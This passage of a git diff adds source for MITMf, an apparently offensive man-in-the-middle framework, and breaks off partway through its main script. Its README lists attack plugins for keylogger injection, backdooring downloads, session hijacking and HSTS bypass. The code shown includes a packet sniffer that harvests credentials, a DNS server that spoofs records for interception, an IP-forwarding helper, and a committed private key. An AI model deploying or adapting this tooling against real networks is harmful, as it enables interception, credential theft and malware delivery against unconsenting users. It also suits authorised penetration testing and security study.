almost any plugin together (e.g. ARP spoof + inject + Responder etc..) + +For a complete list of available options, just run ```python mitmf.py --help``` + +#Currently available plugins + +- **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application +- **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients +- **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- **Responder** : LLMNR, NBT-NS, WPAD and MDNS poisoner +- **SSLstrip+** : Partially bypass HSTS +- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing +- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type +- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks +- **Ferret-NG** : Transperently hijacks client sessions +- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients +- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- **Inject** : Inject arbitrary content into HTML content +- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins +- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages +- **Replace** : Replace arbitary content in HTML content +- **SMBAuth** : Evoke SMB challenge-response authentication attempts +- **Upsidedownternet** : Flips images 180 degrees diff --git a/config/certs/cert.pem b/config/certs/cert.pem new file mode 100644 index 0000000..d328354 --- /dev/null +++ b/config/certs/cert.pem @@ -0,0 +1,21 @@ +-----BEGIN CERTIFICATE----- +MIIDXTCCAkWgAwIBAgIJAPZfDf283zQfMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV +BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX +aWRnaXRzIFB0eSBMdGQwHhcNMTYwMjA0MDUyMTIzWhcNMTcwMTI5MDUyMTIzWjBF +MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50 +ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB +CgKCAQEAwvcPtKJQXziUUKVw6dKBcJ+F/Ajdj6XElq2+niciLYc/XMXj/NLmdBOY +B9VztUMdC23LztXXYnnYkO4EVKSuACBXmgs3hlCImzZGsIXTwt2NkHMT/w2BYiOn +DZxuBn5WdFKWSESOMALUy7KHNGzEIwjCP29+i2ihG1fLvmDYY/ywfn7smNMNYqYr +rUxiMLRfCnuD+R3QzDcwihHQYRmbxCPs+51RG+BIyBYqP1WuLiUtD+KyTlxyeP9w +nM+QIZrQttmul3GsGK+PcKKHX1Q2j0UBUIyJmVL5xujUNman2VUNGjWNqQnX3tEn +8L6tEoN81lNW4Lpygczka2KQjiN1nQIDAQABo1AwTjAdBgNVHQ4EFgQU0c2PST/v +FGyEyxICVdyr9T9qHN4wHwYDVR0jBBgwFoAU0c2PST/vFGyEyxICVdyr9T9qHN4w +DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAtAEzmF4+n67NHR+f+f4V +TApXpaKORI9x8BASjEIISayJdbaaa4NQr4gS0JCu0OZ8XT3VkQjzTT29J1P7/c0V +/WiP0dHzIq3weBNUFbgIo4c7nkM9xwgOlIEVi6u/o/7CfbCZVryvV0X8reEkp72A +i7BTGb86bZXniu3T66TR9qTC5w4RL+YQkIFl2T1X3OdjkCaTfcHvckAOa/EGOJHy +oEFV/9y3EkJpABZfBHLrrEaLkJHwkleyDFQJqipyrH6yQaLXUJpXsFrEpcym2hAt +ruu+g601VlMdaYbcPQkUkA6FHG6qFV35Cd3/z1JVf69HdU8Ha8zO8pHS678f1uHO +zw== +-----END CERTIFICATE----- diff --git a/config/certs/gen_cert.sh b/config/certs/gen_cert.sh new file mode 100755 index 0000000..d59fe1a --- /dev/null +++ b/config/certs/gen_cert.sh @@ -0,0 +1,2 @@ +#!/bin/bash +openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 360 -nodes diff --git a/config/certs/key.pem b/config/certs/key.pem new file mode 100644 index 0000000..f5e6b02 --- /dev/null +++ b/config/certs/key.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDC9w+0olBfOJRQ +pXDp0oFwn4X8CN2PpcSWrb6eJyIthz9cxeP80uZ0E5gH1XO1Qx0LbcvO1ddiediQ +7gRUpK4AIFeaCzeGUIibNkawhdPC3Y2QcxP/DYFiI6cNnG4GflZ0UpZIRI4wAtTL +soc0bMQjCMI/b36LaKEbV8u+YNhj/LB+fuyY0w1ipiutTGIwtF8Ke4P5HdDMNzCK +EdBhGZvEI+z7nVEb4EjIFio/Va4uJS0P4rJOXHJ4/3Ccz5AhmtC22a6XcawYr49w +oodfVDaPRQFQjImZUvnG6NQ2ZqfZVQ0aNY2pCdfe0Sfwvq0Sg3zWU1bgunKBzORr +YpCOI3WdAgMBAAECggEASC39o4tgJBCnYEAP0JE9mLuGeCu0E0V0xbAnXRfx4Fct +DyS4ZlaSOTEz3NqajuX878lDZhznM68WjXmBIvEg9i0DIaW7db+FA6mRfDLflko9 +6deg9JFEcFfwtepPFZpaWZBl0PWIip/RtmQvCCqoZqwMdj3J5MTkuGHFrYLfOgyi +tKywgAQzXAKUyW8Tq3+D7o+jmBETuq6WhJoQVmuUDffS1G690agJoWseyo7ANeWG +ozkEmEQP5bNWU8XzQTZBZicaktvYOCxqNzZFOBFg4Xo3oRIUQNZiRZG3gxtVMVYa +N/LR+AXLn5DB+palO6WN6AB4j5JO/zlyMrqbfdFnYQKBgQDlS9HeR1E8I2qxd7VN +gCiOV2iWfXVJsArG8gAatPUPU6qU7WOqIjqIR9XqImnac/iBno5fDYDZ9ohJ4AKK +G8NEwDcrkH9tQyzKaY0wFjf3Tz9pI0csp3v4h5Trb+6UAdjHxW5mhwKZhcsKtupu ++cxel9vsvAtXOYgmJ9rDH29RdQKBgQDZq7Pu8VOx3bBE36dBJUqgV+APN8QMC5LG +z3zYeagq+Tzo4xYlNCTbfFmHTeS31YElcnORm2Zh6RUZpHpQR4RQSv7jnJ51ci/o +fmD/eenFe2Q8dtCXWyy906Ik+IkPwF1vUDAVeN2qZa5drbcU1A0lQSyR87JnLk7r +pwzLyuOmiQKBgDHvEQUXAtnV3KZJK3J1Nl/JKT2clK43aCFrEhq+zZ9I2R0VlV63 +lYeYHT2fwO2R08xmexq4FhdhWMy9u8/Xu+587YbPMPDacCakVdri+80ftO9wf096 +KcU1wXiEJ7CTtmHK3P/25toICO+MZgFE5Py0lXA4gz+7h6rHgxx6/AMBAoGAbHLL +tyStWlTlWatEnYSC5dhiXbKfDpFFk6AUx5X1X1PGMRHTGr4cDu6pfGwmpCDPs2SO +h+Ew5V9Hj/sOpai8F3UGAUkq+cDmdaNhmGeZPTb4/dcEniRi6kDi7CCXyS1CYA9H +pasOZbM7aJkAOnRcCE+scRtFq3q6/1W/Xlm7imECgYEAgZRO2CgDO4y+4OCnGYyI +GzNYfVpPywWDlexvHJ5aHrTA3+qnTxFVgxG8WBo2U89y5tTzsqTAWS87kZ1N+ocO +FFbNNvtsbepafAUHtQu61hx57XF3zx5P/3b2S9cLqT31oKc4T+KyKZBIMElyuvb6 +dRG82Pq2qdThn64RhnpacIU= +-----END PRIVATE KEY----- diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/logger.py b/core/logger.py new file mode 100644 index 0000000..7046044 --- /dev/null +++ b/core/logger.py @@ -0,0 +1,51 @@ +import logging +import sys +from datetime import datetime + +class ProxyLoggerAdapter(logging.LoggerAdapter): + + def process(self, msg, kwargs): + return '[{}] {} [type:{}-{} os:{}] {}'.format(self.extra['proxy'], + self.extra['client'], + self.extra['browser'], + self.extra['browser_v'], + self.extra['os'], + msg), kwargs + +class DebugLoggerAdapter(logging.LoggerAdapter): + + def process(self, msg, kwargs): + return '[DEBUG][{}] {}'.format(self.extra['source'], msg), kwargs + +class NetCredsAdapter(logging.LoggerAdapter): + + def __init__(self, logger, extra): + self.logger = logger + self.extra = extra + self.extra['dst_ip_port'] = None + + def process(self, msg, kwargs): + if self.extra['dst_ip_port'] is not None: + return '[Net-Creds][{}][{} > {}] {}'.format(self.extra['parser'], + self.extra['src_ip_port'], + self.extra['dst_ip_port'], + msg), kwargs + else: + return '[Net-Creds][{}][{}] {}'.format(self.extra['parser'], + self.extra['src_ip_port'].split(':')[0], + msg), kwargs + +def setup_logger(level=logging.INFO): + + formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%m-%d-%Y %H:%M:%S") + fileHandler = logging.FileHandler('./logs/MITMf_{}.log'.format(datetime.now().strftime('%Y-%m-%d'))) + fileHandler.setFormatter(formatter) + + streamHandler = logging.StreamHandler(sys.stdout) + streamHandler.setFormatter(formatter) + + mitmf_logger = logging.getLogger('MITMf') + mitmf_logger.propagate = False + mitmf_logger.addHandler(streamHandler) + mitmf_logger.addHandler(fileHandler) + mitmf_logger.setLevel(level) \ No newline at end of file diff --git a/core/netcreds.py b/core/netcreds.py new file mode 100755 index 0000000..bd1d839 --- /dev/null +++ b/core/netcreds.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python2 +import logging +import threading +from core.logger import NetCredsAdapter, DebugLoggerAdapter +from collections import OrderedDict + +# stfu scapy +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +from scapy.all import * +conf.verb=0 + +pkt_frag_loads = OrderedDict() +challenge_acks = OrderedDict() + +netcreds_logger = NetCredsAdapter(logging.getLogger('MITMf'), {}) +debug_logger = DebugLoggerAdapter(logging.getLogger('MITMf'), {'source': 'Net-Creds'}) + +from parsers import * +#Get everything that inherits from the Parser class +parsers = [parser(netcreds_logger) for parser in parser.Parser.__subclasses__()] +debug_logger.debug('Loaded {} parser(s)'.format(len(parsers))) + +class NetCreds: + + def frag_remover(self, ack, load): + ''' + Keep the FILO OrderedDict of frag loads from getting too large + 3 points of limit: + Number of ip_ports < 50 + Number of acks per ip:port < 25 + Number of chars in load < 5000 + ''' + + # Keep the number of IP:port mappings below 50 + # last=False pops the oldest item rather than the latest + while len(pkt_frag_loads) > 50: + pkt_frag_loads.popitem(last=False) + + # Loop through a deep copy dict but modify the original dict + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + if len(copy_pkt_frag_loads[ip_port]) > 0: + # Keep 25 ack:load's per ip:port + while len(copy_pkt_frag_loads[ip_port]) > 25: + pkt_frag_loads[ip_port].popitem(last=False) + + # Recopy the new dict to prevent KeyErrors for modifying dict in loop + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + # Keep the load less than 75,000 chars + for ack in copy_pkt_frag_loads[ip_port]: + # If load > 5000 chars, just keep the last 200 chars + if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: + pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:] + + def frag_joiner(self, ack, src_ip_port, load): + ''' + Keep a store of previous fragments in an OrderedDict named pkt_frag_loads + ''' + for ip_port in pkt_frag_loads: + if src_ip_port == ip_port: + if ack in pkt_frag_loads[src_ip_port]: + # Make pkt_frag_loads[src_ip_port][ack] = full load + old_load = pkt_frag_loads[src_ip_port][ack] + concat_load = old_load + load + return OrderedDict([(ack, concat_load)]) + + return OrderedDict([(ack, load)]) + + def pkt_parser(self, pkt): + ''' + Start parsing packets here + ''' + if pkt.haslayer(Raw): + load = pkt[Raw].load + + # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control + if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): + return + + # UDP + if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): + + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) + for parser in parsers: + parser.logger.extra['src_ip_port'] = src_ip_port + parser.logger.extra['dst_ip_port'] = dst_ip_port + parser_hook = getattr(parser, 'UDP_Parser') + parser_hook(pkt, src_ip_port, dst_ip_port) + + # TCP + elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + + ack = str(pkt[TCP].ack) + seq = str(pkt[TCP].seq) + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) + self.frag_remover(ack, load) + pkt_frag_loads[src_ip_port] = self.frag_joiner(ack, src_ip_port, load) + full_load = pkt_frag_loads[src_ip_port][ack] + for parser in parsers: + parser.logger.extra['src_ip_port'] = src_ip_port + parser.logger.extra['dst_ip_port'] = dst_ip_port + parser_hook = getattr(parser, 'TCP_Parser') + parser_hook(full_load, src_ip_port, dst_ip_port) #PHRASING! + + def start_sniffer(self, options, ip): + sniff(iface=options.interface, prn=self.pkt_parser, filter="not host {}".format(ip), store=0) + + def start(self, options, ip): + t = threading.Thread(name='Net-Creds', target=self.start_sniffer, args=(options, ip)) + t.setDaemon(True) + t.start() \ No newline at end of file diff --git a/core/servers/dns.py b/core/servers/dns.py new file mode 100644 index 0000000..924c582 --- /dev/null +++ b/core/servers/dns.py @@ -0,0 +1,428 @@ +# DNSChef is a highly configurable DNS Proxy for Penetration Testers +# and Malware Analysts. Please visit http://thesprawl.org/projects/dnschef/ +# for the latest version and documentation. Please forward all issues and +# concerns to iphelix [at] thesprawl.org. + +# Copyright (C) 2015 Peter Kacherginsky, Marcello Salvati +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +import threading, random, operator, time +import SocketServer, socket, sys, os +import binascii +import string +import base64 +import time +import logging + +from configobj import ConfigObj +from core.configwatcher import ConfigWatcher +from core.utils import shutdown +from core.logger import logger + +from dnslib import * +from IPy import IP + +formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("DNSChef", formatter) + +dnslog = logging.getLogger('dnslog') +handler = logging.FileHandler('./logs/dns/dns.log',) +handler.setFormatter(formatter) +dnslog.addHandler(handler) +dnslog.setLevel(logging.INFO) + +# DNSHandler Mixin. The class contains generic functions to parse DNS requests and +# calculate an appropriate response based on user parameters. +class DNSHandler(): + + def parse(self,data): + + nametodns = DNSChef().nametodns + nameservers = DNSChef().nameservers + hsts = DNSChef().hsts + hstsconfig = DNSChef().real_records + server_address = DNSChef().server_address + clientip = {"clientip": self.client_address[0]} + + response = "" + + try: + # Parse data as DNS + d = DNSRecord.parse(data) + + except Exception as e: + log.info("Error: invalid DNS request", extra=clientip) + dnslog.info("Error: invalid DNS request", extra=clientip) + + else: + # Only Process DNS Queries + if QR[d.header.qr] == "QUERY": + + # Gather query parameters + # NOTE: Do not lowercase qname here, because we want to see + # any case request weirdness in the logs. + qname = str(d.q.qname) + + # Chop off the last period + if qname[-1] == '.': qname = qname[:-1] + + qtype = QTYPE[d.q.qtype] + + # Find all matching fake DNS records for the query name or get False + fake_records = dict() + + for record in nametodns: + + fake_records[record] = self.findnametodns(qname, nametodns[record]) + + if hsts: + if qname in hstsconfig: + response = self.hstsbypass(hstsconfig[qname], qname, nameservers, d) + return response + + elif qname[:4] == 'wwww': + response = self.hstsbypass(qname[1:], qname, nameservers, d) + return response + + elif qname[:3] == 'web': + response = self.hstsbypass(qname[3:], qname, nameservers, d) + return response + + # Check if there is a fake record for the current request qtype + if qtype in fake_records and fake_records[qtype]: + + fake_record = fake_records[qtype] + + # Create a custom response to the query + response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) + + log.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip) + dnslog.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip) + + # IPv6 needs additional work before inclusion: + if qtype == "AAAA": + ipv6 = IP(fake_record) + ipv6_bin = ipv6.strBin() + ipv6_hex_tuple = [int(ipv6_bin[i:i+8],2) for i in xrange(0,len(ipv6_bin),8)] + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](ipv6_hex_tuple))) + + elif qtype == "SOA": + mname,rname,t1,t2,t3,t4,t5 = fake_record.split(" ") + times = tuple([int(t) for t in [t1,t2,t3,t4,t5]]) + + # dnslib doesn't like trailing dots + if mname[-1] == ".": mname = mname[:-1] + if rname[-1] == ".": rname = rname[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](mname,rname,times))) + + elif qtype == "NAPTR": + order,preference,flags,service,regexp,replacement = fake_record.split(" ") + order = int(order) + preference = int(preference) + + # dnslib doesn't like trailing dots + if replacement[-1] == ".": replacement = replacement[:-1] + + response.add_answer( RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](order,preference,flags,service,regexp,DNSLabel(replacement))) ) + + elif qtype == "SRV": + priority, weight, port, target = fake_record.split(" ") + priority = int(priority) + weight = int(weight) + port = int(port) + if target[-1] == ".": target = target[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](priority, weight, port, target) )) + + elif qtype == "DNSKEY": + flags, protocol, algorithm, key = fake_record.split(" ") + flags = int(flags) + protocol = int(protocol) + algorithm = int(algorithm) + key = base64.b64decode(("".join(key)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](flags, protocol, algorithm, key) )) + + elif qtype == "RRSIG": + covered, algorithm, labels, orig_ttl, sig_exp, sig_inc, key_tag, name, sig = fake_record.split(" ") + covered = getattr(QTYPE,covered) # NOTE: Covered QTYPE + algorithm = int(algorithm) + labels = int(labels) + orig_ttl = int(orig_ttl) + sig_exp = int(time.mktime(time.strptime(sig_exp +'GMT',"%Y%m%d%H%M%S%Z"))) + sig_inc = int(time.mktime(time.strptime(sig_inc +'GMT',"%Y%m%d%H%M%S%Z"))) + key_tag = int(key_tag) + if name[-1] == '.': name = name[:-1] + sig = base64.b64decode(("".join(sig)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](covered, algorithm, labels,orig_ttl, sig_exp, sig_inc, key_tag, name, sig))) + + else: + # dnslib doesn't like trailing dots + if fake_record[-1] == ".": fake_record = fake_record[:-1] + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](fake_record))) + + response = response.pack() + + elif qtype == "*" and not None in fake_records.values(): + log.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip) + dnslog.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip) + + response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) + + for qtype,fake_record in fake_records.items(): + if fake_record: + + # NOTE: RDMAP is a dictionary map of qtype strings to handling classses + # IPv6 needs additional work before inclusion: + if qtype == "AAAA": + ipv6 = IP(fake_record) + ipv6_bin = ipv6.strBin() + fake_record = [int(ipv6_bin[i:i+8],2) for i in xrange(0,len(ipv6_bin),8)] + + elif qtype == "SOA": + mname,rname,t1,t2,t3,t4,t5 = fake_record.split(" ") + times = tuple([int(t) for t in [t1,t2,t3,t4,t5]]) + + # dnslib doesn't like trailing dots + if mname[-1] == ".": mname = mname[:-1] + if rname[-1] == ".": rname = rname[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](mname,rname,times))) + + elif qtype == "NAPTR": + order,preference,flags,service,regexp,replacement = fake_record.split(" ") + order = int(order) + preference = int(preference) + + # dnslib doesn't like trailing dots + if replacement and replacement[-1] == ".": replacement = replacement[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](order,preference,flags,service,regexp,replacement))) + + elif qtype == "SRV": + priority, weight, port, target = fake_record.split(" ") + priority = int(priority) + weight = int(weight) + port = int(port) + if target[-1] == ".": target = target[:-1] + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](priority, weight, port, target) )) + + elif qtype == "DNSKEY": + flags, protocol, algorithm, key = fake_record.split(" ") + flags = int(flags) + protocol = int(protocol) + algorithm = int(algorithm) + key = base64.b64decode(("".join(key)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](flags, protocol, algorithm, key) )) + + elif qtype == "RRSIG": + covered, algorithm, labels, orig_ttl, sig_exp, sig_inc, key_tag, name, sig = fake_record.split(" ") + covered = getattr(QTYPE,covered) # NOTE: Covered QTYPE + algorithm = int(algorithm) + labels = int(labels) + orig_ttl = int(orig_ttl) + sig_exp = int(time.mktime(time.strptime(sig_exp +'GMT',"%Y%m%d%H%M%S%Z"))) + sig_inc = int(time.mktime(time.strptime(sig_inc +'GMT',"%Y%m%d%H%M%S%Z"))) + key_tag = int(key_tag) + if name[-1] == '.': name = name[:-1] + sig = base64.b64decode(("".join(sig)).encode('ascii')) + + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](covered, algorithm, labels,orig_ttl, sig_exp, sig_inc, key_tag, name, sig) )) + + else: + # dnslib doesn't like trailing dots + if fake_record[-1] == ".": fake_record = fake_record[:-1] + response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](fake_record))) + + response = response.pack() + + # Proxy the request + else: + log.debug("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip) + dnslog.info("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip) + + nameserver_tuple = random.choice(nameservers).split('#') + response = self.proxyrequest(data, *nameserver_tuple) + + return response + + + # Find appropriate ip address to use for a queried name. The function can + def findnametodns(self,qname,nametodns): + + # Make qname case insensitive + qname = qname.lower() + + # Split and reverse qname into components for matching. + qnamelist = qname.split('.') + qnamelist.reverse() + + # HACK: It is important to search the nametodns dictionary before iterating it so that + # global matching ['*.*.*.*.*.*.*.*.*.*'] will match last. Use sorting for that. + for domain,host in sorted(nametodns.iteritems(), key=operator.itemgetter(1)): + + # NOTE: It is assumed that domain name was already lowercased + # when it was loaded through --file, --fakedomains or --truedomains + # don't want to waste time lowercasing domains on every request. + + # Split and reverse domain into components for matching + domain = domain.split('.') + domain.reverse() + + # Compare domains in reverse. + for a,b in map(None,qnamelist,domain): + if a != b and b != "*": + break + else: + # Could be a real IP or False if we are doing reverse matching with 'truedomains' + return host + else: + return False + + # Obtain a response from a real DNS server. + def proxyrequest(self, request, host, port="53", protocol="udp"): + clientip = {'clientip': self.client_address[0]} + + reply = None + try: + if DNSChef().ipv6: + + if protocol == "udp": + sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) + elif protocol == "tcp": + sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) + + else: + if protocol == "udp": + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + elif protocol == "tcp": + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + sock.settimeout(3.0) + + # Send the proxy request to a randomly chosen DNS server + + if protocol == "udp": + sock.sendto(request, (host, int(port))) + reply = sock.recv(1024) + sock.close() + + elif protocol == "tcp": + sock.connect((host, int(port))) + + # Add length for the TCP request + length = binascii.unhexlify("%04x" % len(request)) + sock.sendall(length+request) + + # Strip length from the response + reply = sock.recv(1024) + reply = reply[2:] + + sock.close() + + except Exception as e: + log.warning("Could not proxy request: {}".format(e), extra=clientip) + dnslog.info("Could not proxy request: {}".format(e), extra=clientip) + else: + return reply + + def hstsbypass(self, real_domain, fake_domain, nameservers, d): + clientip = {'clientip': self.client_address[0]} + + log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) + dnslog.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) + + response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) + + nameserver_tuple = random.choice(nameservers).split('#') + + #First proxy the request with the real domain + q = DNSRecord.question(real_domain).pack() + r = self.proxyrequest(q, *nameserver_tuple) + if r is None: return None + + #Parse the answer + dns_rr = DNSRecord.parse(r).rr + + #Create the DNS response + for res in dns_rr: + if res.get_rname() == real_domain: + res.set_rname(fake_domain) + response.add_answer(res) + else: + response.add_answer(res) + + return response.pack() + +# UDP DNS Handler for incoming requests +class UDPHandler(DNSHandler, SocketServer.BaseRequestHandler): + + def handle(self): + (data,socket) = self.request + response = self.parse(data) + + if response: + socket.sendto(response, self.client_address) + +# TCP DNS Handler for incoming requests +class TCPHandler(DNSHandler, SocketServer.BaseRequestHandler): + + def handle(self): + data = self.request.recv(1024) + + # Remove the addition "length" parameter used in the + # TCP DNS protocol + data = data[2:] + response = self.parse(data) + + if response: + # Calculate and add the additional "length" parameter + # used in TCP DNS protocol + length = binascii.unhexlify("%04x" % len(response)) + self.request.sendall(length+response) + +class ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): + + # Override SocketServer.UDPServer to add extra parameters + def __init__(self, server_address, RequestHandlerClass): + self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET + + SocketServer.UDPServer.__init__(self,server_address,RequestHandlerClass) + +class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): + + # Override default value + allow_reuse_address = True + + # Override SocketServer.TCPServer to add extra parameters + def __init__(self, server_address, RequestHandlerClass): + self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET + + SocketServer.TCPServer.__init__(self,server_address,RequestHandlerClass) \ No newline at end of file diff --git a/core/servers/smb.py b/core/servers/smb.py new file mode 100644 index 0000000..e69de29 diff --git a/core/utils.py b/core/utils.py new file mode 100644 index 0000000..22081cd --- /dev/null +++ b/core/utils.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import os +import logging +import re +import sys +from core.logger import DebugLoggerAdapter + +logging.getLogger('scapy.runtime').setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr, get_if_hwaddr + +debug_logger = DebugLoggerAdapter(logging.getLogger('MITMf'), {'source': 'Utils'}) + +def set_ip_forwarding(value): + debug_logger.debug('Setting ip forwarding to {}'.format(value)) + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() + +def get_ip(interface): + try: + ip_address = get_if_addr(interface) + if (ip_address == '0.0.0.0') or (ip_address is None): + debug_logger.error('{} does not have an assigned ip address'.format(interface)) + sys.exit(1) + + return ip_address + except Exception as e: + debug_logger.error('Error retrieving ip address from {}: {}'.format(interface, e)) + sys.exit(1) + +def get_mac(interface): + try: + mac_address = get_if_hwaddr(interface) + return mac_address + except Exception as e: + debug_logger.error('Error retrieving mac address from {}: {}'.format(interface, e)) diff --git a/logs/.gitignore b/logs/.gitignore new file mode 100644 index 0000000..364db4d --- /dev/null +++ b/logs/.gitignore @@ -0,0 +1,5 @@ +* +!.gitignore +!responder/ +!dns/ +!ferret-ng/ diff --git a/mitmf.conf b/mitmf.conf new file mode 100644 index 0000000..e69de29 diff --git a/mitmf.py b/mitmf.py new file mode 100644 index 0000000..549c285 --- /dev/null +++ b/mitmf.py @@ -0,0 +1,171 @@ +#! /usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more 